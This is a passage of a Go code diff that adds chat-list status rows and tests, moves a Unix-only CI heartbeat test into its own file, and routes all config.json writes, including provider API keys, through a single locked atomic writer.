+ +// nameOr opens a sealed name and falls back when it is empty or will not open. +func nameOr(open Opener, sealed, fallback string) string { + if sealed == "" { + return fallback + } + if s, err := open(sealed); err == nil && s != "" { + return s + } + return fallback +} diff --git a/internal/chatlist/rows_test.go b/internal/chatlist/rows_test.go new file mode 100644 index 0000000000..268ae45b35 --- /dev/null +++ b/internal/chatlist/rows_test.go @@ -0,0 +1,154 @@ +package chatlist + +import ( + "errors" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +const self = "dev_" + "aaaaaaaabbbbbbbbccccccccdddddddd" +const other = "dev_" + "11223344556677889900aabbccddeeff" + +// plain is an Opener that treats every sealed name as already open. +func plain(s string) (string, error) { return s, nil } + +func listing(cells map[string]directory.Cell) directory.Listing { + return directory.Listing{ + Now: 1_000_000, + Devices: map[string]directory.Device{ + self: {Name: "laptop"}, + other: {Name: "studio"}, + }, + Cells: cells, + } +} + +func cell(dev string, expires int64, mut func(*directory.Cell)) directory.Cell { + c := directory.Cell{Title: "t", DurableAt: 990_000, Lease: directory.Lease{Device: dev, Expires: expires}} + if mut != nil { + mut(&c) + } + return c +} + +func TestRowsStatusTable(t *testing.T) { + live, dead := int64(1_010_000), int64(900_000) + cases := []struct { + name string + c directory.Cell + want Status + }{ + {"here", cell(self, live, nil), Here}, + {"running", cell(other, live, nil), Running}, + {"off", cell(other, dead, nil), Off}, + {"idle", cell(other, 0, nil), Idle}, + {"branch beats here", cell(self, live, func(c *directory.Cell) { c.OrphanTurns = 2 }), Branch}, + {"branch beats idle", cell(other, 0, func(c *directory.Cell) { c.OrphanTurns = 1 }), Branch}, + {"expiry exactly now is off", cell(other, 1_000_000, nil), Off}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + rows := Rows(listing(map[string]directory.Cell{"c1": tc.c}), self, plain) + if len(rows) != 1 || rows[0].Status != tc.want { + t.Fatalf("got %+v, want status %s", rows, tc.want) + } + }) + } +} + +func TestRowsUseDirectoryClock(t *testing.T) { + // Rows takes no wall clock at all, so the age is the directory's alone. + rows := Rows(listing(map[string]directory.Cell{"c1": cell(other, 0, nil)}), self, plain) + if got := rows[0].DurableAgo; got != 10*time.Second { + t.Fatalf("DurableAgo = %v, want 10s", got) + } +} + +func TestRowWithUnknownDevice(t *testing.T) { + l := listing(map[string]directory.Cell{"c1": cell("dev_deadbeef00112233445566778899aabb", 1_010_000, nil)}) + r := Rows(l, self, plain)[0] + if r.Device != "deadbeef" || r.Status != Running { + t.Fatalf("got %+v", r) + } +} + +func TestRowNamesThatFailToOpen(t *testing.T) { + bad := func(string) (string, error) { return "", errors.New("wrong key") } + r := Rows(listing(map[string]directory.Cell{"c1": cell(other, 1_010_000, nil)}), self, bad)[0] + if r.Title != "untitled" || r.Device != "11223344" { + t.Fatalf("got title %q device %q", r.Title, r.Device) + } +} + +func TestRowsOrder(t *testing.T) { + at := func(ms int64) directory.Cell { + return cell(other, 0, func(c *directory.Cell) { c.DurableAt = ms }) + } + rows := Rows(listing(map[string]directory.Cell{ + "b": at(500_000), "a": at(500_000), "new": at(900_000), "old": at(100_000), + }), self, plain) + var got []string + for _, r := range rows { + got = append(got, r.Cell) + } + want := []string{"new", "a", "b", "old"} + for i := range want { + if got[i] != want[i] { + t.Fatalf("order %v, want %v", got, want) + } + } +} + +func TestArchivedHidden(t *testing.T) { + arch := cell(other, 0, func(c *directory.Cell) { c.Archived, c.OrphanTurns = true, 3 }) + rows := Rows(listing(map[string]directory.Cell{"gone": arch, "kept": cell(other, 0, nil)}), self, plain) + if len(rows) != 1 || rows[0].Cell != "kept" { + t.Fatalf("got %+v", rows) + } +} + +func TestRowsCarryCounts(t *testing.T) { + c := cell(other, 1_010_000, func(c *directory.Cell) { c.Lease.Pending, c.ParentCell = 4, "p1" }) + r := Rows(listing(map[string]directory.Cell{"c": c}), self, plain)[0] + if r.Pending != 4 || r.Parent != "p1" || r.DeviceID != other { + t.Fatalf("got %+v", r) + } +} + +func TestStaticIsASource(t *testing.T) { + var s Source = Static{{Cell: "x"}} + rows, err := s.Rows(t.Context()) + if err != nil || len(rows) != 1 { + t.Fatalf("got %v %v", rows, err) + } +} + +// A CHAT HELD BY A REVOKED DEVICE IS NOT RUNNING OR LAPSED THERE: that device +// cannot release it and nobody can continue it, so it reads as released. +func TestAChatHeldByARevokedDeviceReadsAsReleased(t *testing.T) { + l := listing(map[string]directory.Cell{ + "live": cell(other, 1_010_000, nil), + "dead": cell(other, 900_000, nil), + }) + l.Devices[other] = directory.Device{Name: "studio", Revoked: true} + for _, r := range Rows(l, self, plain) { + if r.Status != Idle { + t.Errorf("%s: status %s, want %s", r.Cell, r.Status, Idle) + } + } +} + +// A device record sealed before names went through devname still carries the +// macOS ".local" suffix; every label that reads it must show the same name. +func TestEveryLabelOfADeviceDropsTheLocalSuffix(t *testing.T) { + l := listing(map[string]directory.Cell{"c1": cell(other, 1_010_000, nil)}) + l.Devices[other] = directory.Device{Name: "studio.local"} + if r := Rows(l, self, plain)[0]; r.Device != "studio" { + t.Errorf("row shows %q", r.Device) + } + if got := DeviceName(l.Devices, other, plain); got != "studio" { + t.Errorf("DeviceName shows %q", got) + } +} diff --git a/internal/chatlist/same.go b/internal/chatlist/same.go new file mode 100644 index 0000000000..daf824bf74 --- /dev/null +++ b/internal/chatlist/same.go @@ -0,0 +1,27 @@ +package chatlist + +// Same reports whether two listings say the same thing about the chats. +// +// DurableAgo is left out on purpose: it is measured against the directory's +// clock at the moment of the read, so it differs between two reads of an +// unchanged list. DurableAt is the fact it comes from, and it is compared, so a +// turn that landed in between still counts as a change. This is how a client +// tells an unchanged answer without any help from the wire, which carries no +// version or etag. +func Same(a, b []Row) bool { + if len(a) != len(b) { + return false + } + for i := range a { + if timeless(a[i]) != timeless(b[i]) { + return false + } + } + return true +} + +// timeless is a row with the read-time-dependent age taken out. +func timeless(r Row) Row { + r.DurableAgo = 0 + return r +} diff --git a/internal/chatlist/same_test.go b/internal/chatlist/same_test.go new file mode 100644 index 0000000000..d8b3f03bdf --- /dev/null +++ b/internal/chatlist/same_test.go @@ -0,0 +1,18 @@ +package chatlist + +import ( + "testing" + "time" +) + +func TestSameIgnoresReadTimeButNotTheTurn(t *testing.T) { + a := []Row{{Cell: "c", Status: Idle, DurableAt: 100, DurableAgo: time.Second}} + sameLater := []Row{{Cell: "c", Status: Idle, DurableAt: 100, DurableAgo: time.Minute}} + newTurn := []Row{{Cell: "c", Status: Idle, DurableAt: 200, DurableAgo: time.Second}} + if !Same(a, sameLater) { + t.Fatal("two reads of an unchanged list differed") + } + if Same(a, newTurn) || Same(a, nil) { + t.Fatal("a new turn or a missing row counted as unchanged") + } +} diff --git a/internal/ci/testtooling_test.go b/internal/ci/testtooling_test.go index 8ee808da21..7a39a053bf 100644 --- a/internal/ci/testtooling_test.go +++ b/internal/ci/testtooling_test.go @@ -6,9 +6,7 @@ import ( "os/exec" "path/filepath" "strings" - "syscall" "testing" - "time" ) // THE LIGHT JOB IN .github/workflows/ci.yml IS THE SOURCE OF THIS LIST, and a step @@ -67,68 +65,6 @@ func TestTheDefaultTimingReportDoesNotDirtyTheSharedCheckout(t *testing.T) { } } -func TestTheHeartbeatStopsAfterItsParentIsKilled(t *testing.T) { - bashPath, err := exec.LookPath("bash") - if err != nil { - t.Skip("bash is not on PATH") - } - sleepPath, err := exec.LookPath("sleep") - if err != nil { - t.Skip("sleep is not on PATH") - } - if _, err := exec.LookPath("go"); err != nil { - t.Skip("go is not on PATH") - } - root := repositoryRoot(t) - stderrPath := filepath.Join(t.TempDir(), "stderr") - stderr, err := os.Create(stderrPath) - if err != nil { - t.Fatal(err) - } - defer stderr.Close() - cmd := exec.Command(bashPath, filepath.Join(root, "scripts/test-report.sh"), filepath.Join(t.TempDir(), "r.json"), sleepPath, "60") - cmd.Dir = root - cmd.Env = append(os.Environ(), "TEST_REPORT_HEARTBEAT=1", "GOFLAGS=-buildvcs=false") - cmd.Stderr = stderr - cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true} - if err := cmd.Start(); err != nil { - t.Fatal(err) - } - pid := cmd.Process.Pid - t.Cleanup(func() { - _ = syscall.Kill(-pid, syscall.SIGKILL) - _ = cmd.Process.Kill() - }) - - deadline := time.Now().Add(10 * time.Second) - for { - contents, readErr := os.ReadFile(stderrPath) - if readErr != nil { - t.Fatal(readErr) - } - if bytes.Contains(contents, []byte("still running")) { - break - } - if time.Now().After(deadline) { - t.Fatalf("heartbeat did not report within 10 seconds; stderr = %q", contents) - } - time.Sleep(50 * time.Millisecond) - } - if err := cmd.Process.Signal(syscall.SIGKILL); err != nil { - t.Fatal(err) - } - _ = cmd.Wait() - // COUNT THE HEARTBEATS AND NOT THE BYTES. The killed run's own command is still - // in the pipeline and may yet say something on this stream; what is being asked - // is whether the heartbeat loop is still speaking for a run that is gone. - before := heartbeatsIn(t, stderrPath) - time.Sleep(4 * time.Second) - if after := heartbeatsIn(t, stderrPath); after != before { - contents, _ := os.ReadFile(stderrPath) - t.Fatalf("the heartbeat outlived its run: %d reports before the kill, %d four seconds after:\n%s", before, after, contents) - } -} - func heartbeatsIn(t *testing.T, path string) int { t.Helper() contents, err := os.ReadFile(path) diff --git a/internal/ci/testtooling_unix_test.go b/internal/ci/testtooling_unix_test.go new file mode 100644 index 0000000000..7ee3bc4fb5 --- /dev/null +++ b/internal/ci/testtooling_unix_test.go @@ -0,0 +1,76 @@ +//go:build !windows + +// K6 keeps Unix process, lock and mode assertions on the systems that provide them. +package ci + +import ( + "bytes" + "os" + "os/exec" + "path/filepath" + "syscall" + "testing" + "time" +) + +func TestTheHeartbeatStopsAfterItsParentIsKilled(t *testing.T) { + bashPath, err := exec.LookPath("bash") + if err != nil { + t.Skip("bash is not on PATH") + } + sleepPath, err := exec.LookPath("sleep") + if err != nil { + t.Skip("sleep is not on PATH") + } + if _, err := exec.LookPath("go"); err != nil { + t.Skip("go is not on PATH") + } + root := repositoryRoot(t) + stderrPath := filepath.Join(t.TempDir(), "stderr") + stderr, err := os.Create(stderrPath) + if err != nil { + t.Fatal(err) + } + defer stderr.Close() + cmd := exec.Command(bashPath, filepath.Join(root, "scripts/test-report.sh"), filepath.Join(t.TempDir(), "r.json"), sleepPath, "60") + cmd.Dir = root + cmd.Env = append(os.Environ(), "TEST_REPORT_HEARTBEAT=1", "GOFLAGS=-buildvcs=false") + cmd.Stderr = stderr + cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true} + if err := cmd.Start(); err != nil { + t.Fatal(err) + } + pid := cmd.Process.Pid + t.Cleanup(func() { + _ = syscall.Kill(-pid, syscall.SIGKILL) + _ = cmd.Process.Kill() + }) + + deadline := time.Now().Add(10 * time.Second) + for { + contents, readErr := os.ReadFile(stderrPath) + if readErr != nil { + t.Fatal(readErr) + } + if bytes.Contains(contents, []byte("still running")) { + break + } + if time.Now().After(deadline) { + t.Fatalf("heartbeat did not report within 10 seconds; stderr = %q", contents) + } + time.Sleep(50 * time.Millisecond) + } + if err := cmd.Process.Signal(syscall.SIGKILL); err != nil { + t.Fatal(err) + } + _ = cmd.Wait() + // COUNT THE HEARTBEATS AND NOT THE BYTES. The killed run's own command is still + // in the pipeline and may yet say something on this stream; what is being asked + // is whether the heartbeat loop is still speaking for a run that is gone. + before := heartbeatsIn(t, stderrPath) + time.Sleep(4 * time.Second) + if after := heartbeatsIn(t, stderrPath); after != before { + contents, _ := os.ReadFile(stderrPath) + t.Fatalf("the heartbeat outlived its run: %d reports before the kill, %d four seconds after:\n%s", before, after, contents) + } +} diff --git a/internal/config/apikey.go b/internal/config/apikey.go index 6ede54afc2..2f711714b7 100644 --- a/internal/config/apikey.go +++ b/internal/config/apikey.go @@ -5,7 +5,6 @@ import ( "fmt" "net/url" "os" - "path/filepath" "strings" "github.com/Agent-Field/codeaf/internal/env" @@ -150,9 +149,8 @@ func APIKeySourceForModel(profileDir string, sources modelsource.Set, model stri } // WriteAPIKey persists a key a person handed over, through the same atomic -// writer every other setting uses. The file is created owner-readable only -// (writeProfileValues), which is the property [EnsurePersistedAPIKey] tightens -// after the fact on a file that predated any secret in it. +// writer every other setting uses. Each write replaces the file with an +// owner-readable-only file, including when the profile predates any secret. func WriteAPIKey(profileDir, key string) error { return writeProfileValue(profileDir, KeyAPIKey, strings.TrimSpace(key)) } @@ -185,38 +183,21 @@ func EnsurePersistedAPIKey(profileDir string) (bool, string, error) { return false, path, nil } - values := map[string]json.RawMessage{} - if raw, err := os.ReadFile(path); err == nil { - if err := json.Unmarshal(raw, &values); err != nil { - return false, path, fmt.Errorf("persist api key: existing config is not valid JSON: %w", err) - } - } else if !os.IsNotExist(err) { - return false, path, fmt.Errorf("persist api key: %w", err) - } - encoded, err := json.Marshal(key) + change, err := encodeChange(map[string]any{KeyAPIKey: key}) if err != nil { return false, path, fmt.Errorf("persist api key: %w", err) } - values[KeyAPIKey] = encoded - - if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { - return false, path, fmt.Errorf("persist api key: %w", err) - } - body, err := json.MarshalIndent(values, "", " ") + persisted := false + err = editProfile(profileDir, KeyAPIKey, func(held map[string]json.RawMessage) (profileChange, error) { + // Check again under the profile lock, so another writer's key wins. + if persistedAPIKeyFrom(held) != "" { + return profileChange{}, nil + } + persisted = true + return change, nil + }) if err != nil { return false, path, fmt.Errorf("persist api key: %w", err) } - temporaryPath := path + ".tmp" - if err := os.WriteFile(temporaryPath, append(body, '\n'), 0o600); err != nil { - return false, path, fmt.Errorf("persist api key: %w", err) - } - if err := os.Rename(temporaryPath, path); err != nil { - _ = os.Remove(temporaryPath) - return false, path, fmt.Errorf("persist api key: %w", err) - } - // The file now carries a secret; tighten it even if it predated the key. - if err := os.Chmod(path, 0o600); err != nil { - return true, path, fmt.Errorf("persist api key: chmod: %w", err) - } - return true, path, nil + return persisted, path, nil } diff --git a/internal/config/budget.go b/internal/config/budget.go index 4d6131e35d..ecb091dba7 100644 --- a/internal/config/budget.go +++ b/internal/config/budget.go @@ -127,33 +127,78 @@ var removeProfileKey = profileKeyRemoval{} // spell a removal any other way. type profileKeyRemoval struct{} -func writeProfileValues(profileDir string, updates map[string]any) error { - if len(updates) == 0 { - return nil - } - // The key in the error messages is a DETERMINISTIC one — a map has no order, - // and a failure that named a different row on every attempt would be a - // failure nobody could search for. - key := errorKey(updates) - encodedUpdates := make(map[string]json.RawMessage, len(updates)) - var removed []string +// profileChange is what one write does to the file: the rows it sets, already +// encoded, and the rows it takes out. +type profileChange struct { + set map[string]json.RawMessage + removed []string +} + +// encodeChange turns the caller's updates into a profileChange. A value that +// cannot be encoded is refused here, before any lock is taken, because +// user-defined marshalers do not belong inside the profile critical section. +func encodeChange(updates map[string]any) (profileChange, error) { + change := profileChange{set: make(map[string]json.RawMessage, len(updates))} for name, value := range updates { if _, remove := value.(profileKeyRemoval); remove { - removed = append(removed, name) + change.removed = append(change.removed, name) continue } - encodedValue, err := json.Marshal(value) + encoded, err := json.Marshal(value) if err != nil { - return fmt.Errorf("write config %s: %w", name, err) + return profileChange{}, fmt.Errorf("write config %s: %w", name, err) } - encodedUpdates[name] = encodedValue + change.set[name] = encoded } + return change, nil +} + +// empty reports a change that sets and removes nothing, which is not written. +func (c profileChange) empty() bool { return len(c.set) == 0 && len(c.removed) == 0 } + +// applyTo is held with the change made. THE WRITER OWNS ITS OWN MAP: +// [readProfileConfig] hands back the map its memo is holding, and adding a row +// to that map in place would rewrite what every reader in this package is about +// to be told the file says, including on the path where the write then fails. +func (c profileChange) applyTo(held map[string]json.RawMessage) map[string]json.RawMessage { + values := make(map[string]json.RawMessage, len(held)+len(c.set)) + maps.Copy(values, held) + maps.Copy(values, c.set) + for _, name := range c.removed { + delete(values, name) + } + return values +} +func writeProfileValues(profileDir string, updates map[string]any) error { + if len(updates) == 0 { + return nil + } + change, err := encodeChange(updates) + if err != nil { + return err + } + // The key in the error messages is a DETERMINISTIC one, since a map has no + // order and a failure that named a different row on every attempt would be a + // failure nobody could search for. + return editProfile(profileDir, errorKey(updates), func(map[string]json.RawMessage) (profileChange, error) { + return change, nil + }) +} + +// editProfile is THE ONE WRITER of config.json and the seam every write passes: +// under the process mutex and the cross-process file lock it reads the file as +// it is NOW, asks decide what to change given that reading, and renames the +// result into place. A caller that must compute its change from what the file +// holds (a service row's key, the list of connected services, a rule added to a +// list) does that inside decide, so it can never write back a copy it loaded +// before another writer, or another machine's restore, put something new in the +// file. Whatever decide does not name is carried over untouched. +func editProfile(profileDir, key string, decide func(held map[string]json.RawMessage) (profileChange, error)) error { // A settings write is one read-copy-rename transaction. Two surface actions // may reach it together; serializing the whole transaction keeps the second // read behind the first rename instead of letting either rename discard the - // other action. Marshal before the lock because user-defined marshalers do - // not belong inside the profile critical section. + // other action. profileWriteMu.Lock() defer profileWriteMu.Unlock() @@ -171,52 +216,47 @@ func writeProfileValues(profileDir string, updates map[string]any) error { if err != nil { return fmt.Errorf("write config: preserve existing file: %w", err) } - // THE WRITER OWNS ITS OWN MAP. [readProfileConfig] hands back the map its - // memo is holding, and adding a row to that map in place would rewrite what - // every reader in this package is about to be told the file says — including - // on the path where the write itself then fails. - values := make(map[string]json.RawMessage, len(held)+len(updates)) - maps.Copy(values, held) - for name, encodedValue := range encodedUpdates { - values[name] = encodedValue + change, err := decide(held) + if err != nil { + return err } - for _, name := range removed { - delete(values, name) + if change.empty() { + return nil } - encoded, err := json.MarshalIndent(values, "", " ") + encoded, err := json.MarshalIndent(change.applyTo(held), "", " ") if err != nil { return fmt.Errorf("write config %s: %w", key, err) } + if err := replaceProfileFile(path, append(encoded, '\n')); err != nil { + return fmt.Errorf("write config %s: %w", key, err) + } + // EVERY PERSISTED WRITE PASSES HERE, which is what makes one counter enough + // for a live reader to know its snapshot is stale (see [SettingsGeneration]). + bumpSettingsGeneration() + return nil +} + +// replaceProfileFile writes body to a temporary file beside path and renames it +// over path, so a reader sees the old file or the new one and never half of +// either. The file is owner-only from its first byte. +func replaceProfileFile(path string, body []byte) error { temporary, err := os.CreateTemp(filepath.Dir(path), ".config-*.json") if err != nil { - return fmt.Errorf("write config %s: %w", key, err) + return err } - temporaryPath := temporary.Name() - removeTemporary := true - defer func() { - if removeTemporary { - _ = os.Remove(temporaryPath) - } - }() + defer os.Remove(temporary.Name()) // a no-op once the rename has moved it if err := temporary.Chmod(0o600); err != nil { _ = temporary.Close() - return fmt.Errorf("write config %s: %w", key, err) + return err } - if _, err := temporary.Write(append(encoded, '\n')); err != nil { + if _, err := temporary.Write(body); err != nil { _ = temporary.Close() - return fmt.Errorf("write config %s: %w", key, err) + return err } if err := temporary.Close(); err != nil { - return fmt.Errorf("write config %s: %w", key, err) - } - if err := os.Rename(temporaryPath, path); err != nil { - return fmt.Errorf("write config %s: %w", key, err) + return err } - removeTemporary = false - // EVERY PERSISTED WRITE PASSES HERE, which is what makes one counter enough - // for a live reader to know its snapshot is stale (see [SettingsGeneration]). - bumpSettingsGeneration() - return nil + return os.Rename(temporary.Name(), path) } // errorKey is the key a multi-key write blames, chosen deterministically: the diff --git a/internal/config/cellbudget_available_test.go b/internal/config/cellbudget_available_test.go new file mode 100644 index 0000000000..21655e9873 --- /dev/null +++ b/internal/config/cellbudget_available_test.go @@ -0,0 +1,23 @@ +package config + +import ( + "strings" + "testing" +) + +// C25: the budget is explicit gc's default and nothing reads it by itself, so +// the row is declared on every build — the settings laws, the profile ledger +// and the settings tool all read one registry — and its hint says plainly that +// nothing is removed automatically. +func TestCellBudgetRowIsDeclaredOnEveryBuild(t *testing.T) { + for _, enabled := range []string{"", "0", "1"} { + t.Setenv("CODEAF_CELLS", enabled) + row, exists := NewSettings(SettingsOptions{ProfileDir: t.TempDir()}).Row(KeyCellBudget) + if !exists { + t.Fatalf("cells=%q: the budget row is not declared", enabled) + } + if !strings.Contains(row.Hint, "Nothing is removed automatically") { + t.Fatalf("cells=%q: the budget hint does not say nothing is removed automatically: %s", enabled, row.Hint) + } + } +} diff --git a/internal/config/derivation_test.go b/internal/config/derivation_test.go index 2bf5aebb9a..1863a95d9e 100644 --- a/internal/config/derivation_test.go +++ b/internal/config/derivation_test.go @@ -249,6 +249,7 @@ var settingReaders = map[string]string{ KeyTaskParallel: "TaskParallelAt", KeyTaskMaxLoad: "TaskMaxLoadAt", KeyTaskMinFreeMB: "TaskMinFreeMBAt", + KeyCellBudget: "CellBudgetGBAt", // The task model is read by the v3 door and becomes session.Config.TaskModel, // which a proposal that names no model of its own resolves through // (internal/session's taskmodel.go). It names the accessor the door touches, diff --git a/internal/config/profile_writer_law_test.go b/internal/config/profile_writer_law_test.go new file mode 100644 index 0000000000..af61493c5a --- /dev/null +++ b/internal/config/profile_writer_law_test.go @@ -0,0 +1,81 @@ +package config + +import ( + "go/ast" + "go/parser" + "go/token" + "path/filepath" + "runtime" + "strings" + "testing" +) + +// fileWriters are the os calls that put bytes on a path. +var fileWriters = map[string]bool{"WriteFile": true, "Rename": true, "CreateTemp": true, "Create": true, "OpenFile": true} + +// TestTheProfileFileIsWrittenOnlyThroughEditProfile is the law that keeps a +// writer from putting a copy it loaded earlier back over what another writer +// stored since. editProfile reads the file under the lock and hands the reading +// to the writer's decision, so it is the only function allowed to name the +// profile file and write; and the file replacement it uses is called from +// nowhere else. +func TestTheProfileFileIsWrittenOnlyThroughEditProfile(t *testing.T) { + _, here, _, _ := runtime.Caller(0) + files, err := filepath.Glob(filepath.Join(filepath.Dir(here), "*.go")) + if err != nil { + t.Fatal(err) + } + fset := token.NewFileSet() + for _, path := range files { + if strings.HasSuffix(path, "_test.go") { + continue + } + file, err := parser.ParseFile(fset, path, nil, 0) + if err != nil { + t.Fatal(err) + } + for _, decl := range file.Decls { + if fn, ok := decl.(*ast.FuncDecl); ok && fn.Body != nil { + checkProfileWriter(t, fn) + } + } + } +} + +func checkProfileWriter(t *testing.T, fn *ast.FuncDecl) { + t.Helper() + name := fn.Name.Name + namesProfile, writes, replaces := false, false, false + ast.Inspect(fn.Body, func(node ast.Node) bool { + switch n := node.(type) { + case *ast.Ident: + namesProfile = namesProfile || n.Name == "BudgetConfigPath" + case *ast.BasicLit: + namesProfile = namesProfile || n.Kind == token.STRING && strings.Contains(n.Value, "config.json") + case *ast.CallExpr: + writes = writes || isOSWrite(n) + replaces = replaces || calls(n, "replaceProfileFile") + } + return true + }) + if replaces && name != "editProfile" { + t.Errorf("%s calls replaceProfileFile; only editProfile may replace the profile file", name) + } + if namesProfile && writes && name != "editProfile" { + t.Errorf("%s writes the profile file itself; change it with editProfile so it reads under the lock", name) + } +} + +func isOSWrite(call *ast.CallExpr) bool { + sel, ok := call.Fun.(*ast.SelectorExpr) + if !ok { + return false + } + pkg, isIdent := sel.X.(*ast.Ident) + return isIdent && pkg.Name == "os" && fileWriters[sel.Sel.Name] +} + +func calls(call *ast.CallExpr, name string) bool { + id, ok := call.Fun.(*ast.Ident) + return ok && id.Name == name +} diff --git a/internal/config/profilewrite_sources_test.go b/internal/config/profilewrite_sources_test.go new file mode 100644 index 0000000000..0fea0a1305 --- /dev/null +++ b/internal/config/profilewrite_sources_test.go @@ -0,0 +1,74 @@ +package config + +import ( + "fmt" + "sort" + "sync" + "testing" +) + +// Connecting some services while others are disconnected must leave exactly the +// services the two sides agree on. A list loaded before the other side's write +// and written back whole would bring a disconnected service back or drop a +// connected one; the write reads the list under the profile lock, so it cannot. +func TestConnectAndDisconnectComposeOnTheServiceList(t *testing.T) { + dir := t.TempDir() + const count = 12 + var seed []PersistedSource + for i := 0; i < count; i++ { + seed = append(seed, PersistedSource{ID: fmt.Sprintf("old%02d", i), Written: "old", Order: i}) + } + if err := WriteSources(dir, seed); err != nil { + t.Fatal(err) + } + + var wg sync.WaitGroup + wg.Add(2) + go func() { + defer wg.Done() + for i := 0; i < count; i++ { + row := PersistedSource{ID: fmt.Sprintf("new%02d", i), Written: "new", Order: count + i} + if err := persistConnectedSource(dir, row); err != nil { + t.Error(err) + } + } + }() + go func() { + defer wg.Done() + for i := 0; i < count; i++ { + if err := DisconnectService(dir, fmt.Sprintf("old%02d", i)); err != nil { + t.Error(err) + } + } + }() + wg.Wait() + + var got []string + for _, row := range PersistedSources(dir) { + got = append(got, row.ID) + } + sort.Strings(got) + if len(got) != count || got[0] != "new00" || got[count-1] != fmt.Sprintf("new%02d", count-1) { + t.Fatalf("the service list lost an update: %v", got) + } +} + +// A key stored by another writer is in what a provider-key change is handed, so +// changing one key cannot remove another. +func TestChangeProviderKeysStartsFromWhatIsStored(t *testing.T) { + dir := t.TempDir() + if err := WriteAPIKey(dir, "FAKE-model"); err != nil { + t.Fatal(err) + } + err := ChangeProviderKeys(dir, func(held ProviderKeys) ProviderKeys { + held.Rows = map[string]string{KeyAPIKey: held.Rows[KeyAPIKey], KeyExaKey: "FAKE-search"} + return held + }) + if err != nil { + t.Fatal(err) + } + got, _ := ReadProviderKeys(dir) + if got.Rows[KeyAPIKey] != "FAKE-model" || got.Rows[KeyExaKey] != "FAKE-search" { + t.Fatalf("a stored key did not survive: %d rows", len(got.Rows)) + } +} diff --git a/internal/config/providerkeys.go b/internal/config/providerkeys.go new file mode 100644 index 0000000000..4853ab111f --- /dev/null +++ b/internal/config/providerkeys.go @@ -0,0 +1,150 @@ +package config + +import ( + "encoding/json" + "maps" + "strings" +) + +// ProviderKeys is every key a profile's config.json stores on disk and nothing +// else: the keys of the secret settings rows (the model key, the search keys, +// the app secret) and the key of each model service that holds one inline. It is +// what a person's second machine needs to run a moved chat, and it leaves out +// the rest of the file (budgets, rails, model picks), which belongs to the +// machine it was set on. A key that comes from an environment variable is not +// in the file, so it is never in here; a service that names a variable +// (key_env) has no inline key and contributes nothing. +type ProviderKeys struct { + Rows map[string]string `json:"rows,omitempty"` // secret settings row key -> value + Sources map[string]string `json:"sources,omitempty"` // model service id -> inline key +} + +// Empty reports whether the profile holds no key of its own. +func (k ProviderKeys) Empty() bool { return len(k.Rows) == 0 && len(k.Sources) == 0 } + +// secretRowKeys names the config.json field of every secret settings row. It is +// read from the registry, so a secret row added later travels without this file +// being edited. +func secretRowKeys() []string { + var names []string + for _, row := range NewSettings(SettingsOptions{}).Rows() { + if row.Secret { + names = append(names, row.Key) + } + } + return names +} + +// ReadProviderKeys collects the profile's stored keys from the file alone. A +// config.json that cannot be read is an error, never an empty answer, so a +// damaged file is not mistaken for a person who removed their keys. +func ReadProviderKeys(profileDir string) (ProviderKeys, error) { + values, err := readProfileConfig(profileDir) + if err != nil { + return ProviderKeys{}, err + } + return providerKeysFrom(values), nil +} + +func providerKeysFrom(values map[string]json.RawMessage) ProviderKeys { + var keys ProviderKeys + for _, name := range secretRowKeys() { + keys.Rows = putNonEmpty(keys.Rows, name, storedString(values, name)) + } + for _, row := range persistedSourcesFrom(values) { + keys.Sources = putNonEmpty(keys.Sources, row.ID, row.Key) + } + return keys +} + +func putNonEmpty(into map[string]string, name, value string) map[string]string { + if value == "" { + return into + } + if into == nil { + into = map[string]string{} + } + into[name] = value + return into +} + +func storedString(values map[string]json.RawMessage, name string) string { + var value string + if json.Unmarshal(values[name], &value) != nil { + return "" + } + return strings.TrimSpace(value) +} + +// WriteProviderKeys makes the profile's stored keys equal to keys: a key that +// is absent from keys is removed. Use [ChangeProviderKeys] to change some keys +// and leave the rest as they are. +func WriteProviderKeys(profileDir string, keys ProviderKeys) error { + return ChangeProviderKeys(profileDir, func(ProviderKeys) ProviderKeys { return keys }) +} + +// ChangeProviderKeys hands change the keys the profile stores AT THE MOMENT OF +// THE WRITE and stores the keys it answers: a key absent from the answer is +// removed, and every other field of config.json, and every other field of a +// service row, is left as it was. The stored keys are read inside the profile's +// own locked, atomic write, so a key another writer stored a moment ago is in +// what change sees and cannot be removed by a set built from an earlier reading. +// It writes nothing when the file already says the same. A service row this +// machine does not have is skipped, since a key alone cannot make one. +func ChangeProviderKeys(profileDir string, change func(ProviderKeys) ProviderKeys) error { + return editProfile(profileDir, "provider keys", func(held map[string]json.RawMessage) (profileChange, error) { + return encodeChange(providerKeyUpdates(held, change(providerKeysFrom(held)))) + }) +} + +// providerKeyUpdates is the rows to set and remove, and the service list to +// write, that bring the stored keys (in held) to want. +func providerKeyUpdates(held map[string]json.RawMessage, want ProviderKeys) map[string]any { + stored := providerKeysFrom(held) + updates := rowKeyUpdates(stored.Rows, want.Rows) + if !maps.Equal(stored.Sources, want.Sources) { + updates[keyModelSources] = sourcesWithKeys(persistedSourcesFrom(held), want.Sources) + } + return updates +} + +func rowKeyUpdates(held, want map[string]string) map[string]any { + updates := map[string]any{} + for _, name := range secretRowKeys() { + switch value, ok := want[name]; { + case held[name] == want[name]: + case ok: + updates[name] = value + default: + updates[name] = removeProfileKey + } + } + return updates +} + +// sourcesWithKeys is rows with each inline key set to the one wanted for that +// service, in the cleaned form the file keeps. +func sourcesWithKeys(rows []PersistedSource, want map[string]string) []PersistedSource { + for i := range rows { + if rows[i].KeyEnv == "" { + rows[i].Key = want[rows[i].ID] + } + } + return cleanSources(rows) +} + +// ProviderKeysHeldBy is keys cut down to what this profile can hold: a service +// key is kept only for a service row the profile has and that stores its key +// inline. It is what ReadProviderKeys answers after WriteProviderKeys(keys). +func ProviderKeysHeldBy(profileDir string, keys ProviderKeys) ProviderKeys { + var kept ProviderKeys + for _, name := range secretRowKeys() { + kept.Rows = putNonEmpty(kept.Rows, name, keys.Rows[name]) + } + for _, row := range PersistedSources(profileDir) { + if row.KeyEnv == "" { + kept.Sources = putNonEmpty(kept.Sources, row.ID, keys.Sources[row.ID]) + } + } + return kept +} diff --git a/internal/config/providerkeys_test.go b/internal/config/providerkeys_test.go new file mode 100644 index 0000000000..3632be46bf --- /dev/null +++ b/internal/config/providerkeys_test.go @@ -0,0 +1,34 @@ +package config + 